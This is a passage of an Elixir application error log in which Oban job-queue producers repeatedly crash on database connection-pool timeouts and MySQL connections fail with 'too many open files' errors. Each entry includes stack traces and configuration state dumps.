00:20:31.239905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56161>, refresh_timer: #Reference<0.2525715032.1099431938.56142>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:43.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:20:31.239789Z], limit: 3, uuid: "ff4d0403-a7e5-4ce1-af9d-7d5f33105b56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:31.239796Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56164>, refresh_timer: #Reference<0.2525715032.1068498948.54751>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:43.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:20:31.240486Z], limit: 50, uuid: "872d07c0-e214-4350-9576-423863d6ca1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:31.240493Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56162>, refresh_timer: #Reference<0.2525715032.1099431938.56149>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:44.318000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:44.472000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:46.508000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:46.930000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:48.245000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:48.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:20:43.238617Z], limit: 5, uuid: "6aa14fa7-224f-4811-8dca-337cfa62cbdc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:43.238625Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181344>, refresh_timer: #Reference<0.2525715032.1077673987.32522>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:20:43.241115Z], limit: 50, uuid: "7aa376c6-9f69-422e-b44c-a51640fa43d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:43.241121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181345>, refresh_timer: #Reference<0.2525715032.1068498948.54922>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:20:43.239809Z], limit: 3, uuid: "7b5511bb-8bc4-4e7e-b046-4273492ebb6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:43.239814Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181341>, refresh_timer: #Reference<0.2525715032.1099431938.56208>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:20:43.238041Z], limit: 5, uuid: "c5960616-8636-4b68-adf2-85a01f8dba95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:43.238047Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181340>, refresh_timer: #Reference<0.2525715032.1121189889.181296>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:20:43.238238Z], limit: 10, uuid: "14d29d2b-0d01-47e6-972d-a2a36c58eeda", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:43.238243Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181343>, refresh_timer: #Reference<0.2525715032.1077673987.32513>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:20:43.240360Z], limit: 20, uuid: "25597fad-8e4f-4cfc-9072-7a4b14789e86", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:43.240365Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181342>, refresh_timer: #Reference<0.2525715032.1077673987.32554>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:58.136000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:58.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:00.192000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:00.955000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:02.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:04.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:05.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
